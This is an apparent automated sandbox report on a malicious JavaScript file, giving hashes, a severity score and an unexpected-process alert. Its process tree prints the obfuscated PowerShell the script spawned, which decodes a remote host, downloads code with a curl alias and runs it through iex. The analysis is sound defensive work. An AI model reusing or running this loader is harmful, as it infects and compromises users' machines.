f48513609d7c4a1538802b58e9d5b3e1a2248170c6518a1da7e3ea003a6b2fbf

Analysis

max time kernel
315s
max time network
400s
platform
windows10-1703_x64
resource
win10-20230915-en
resource tags

arch:x64arch:x86image:win10-20230915-enlocale:en-usos:windows10-1703-x64system
submitted
24-09-2023 01:24

Target

Notice_5066383.js
Size

487KB
MD5

2654dc8542d95f0e31ece8b4135171f4
SHA1

1073e5881f32632f7abcf7dfb234328499c3946c
SHA256

f48513609d7c4a1538802b58e9d5b3e1a2248170c6518a1da7e3ea003a6b2fbf
SHA512

76bc5fab34c59fdba5ab8d5e37fc89cbc15c970f54a85014f2e14307d351f1219bcd81c1a9ab5281153bdaa4c54391fe6359d140ba6e4019b26329e00749a672
SSDEEP

3072:KbCLrEna486d8EiBm7mUYn15yu1hOHaoGFtk9dMpBV064I:es

Score

10^/10

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3968	1828	conhost.exe	70

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Notice_5066383.js
1⤵
PID:3588

C:\Windows\system32\conhost.exe
conhost --headless powershell $gmiqvycdjatu=('grep','add-txt','set-width', 'font-extract'); $rqkcjoyediwh=@(6639,6618,6622,6620,6618,6639,6563,6633,6628,6629,6564,6566,6563,6629,6621,6629,6580,6621,6614,6632,6621,6578);foreach($rob9e in $rqkcjoyediwh){$awi=$rob9e;$eowbuxctdiln=$eowbuxctdiln+[char]($awi-6517)};$gmiqvycdjatu[2]=$eowbuxctdiln; ;$dftezw='rl';$five=1;new-alias zwert cu$dftezw;.$([char](9992-9887)+'ex')(zwert -useb $gmiqvycdjatu[7487-7485])
1⤵
- Process spawned unexpected child process
PID:3968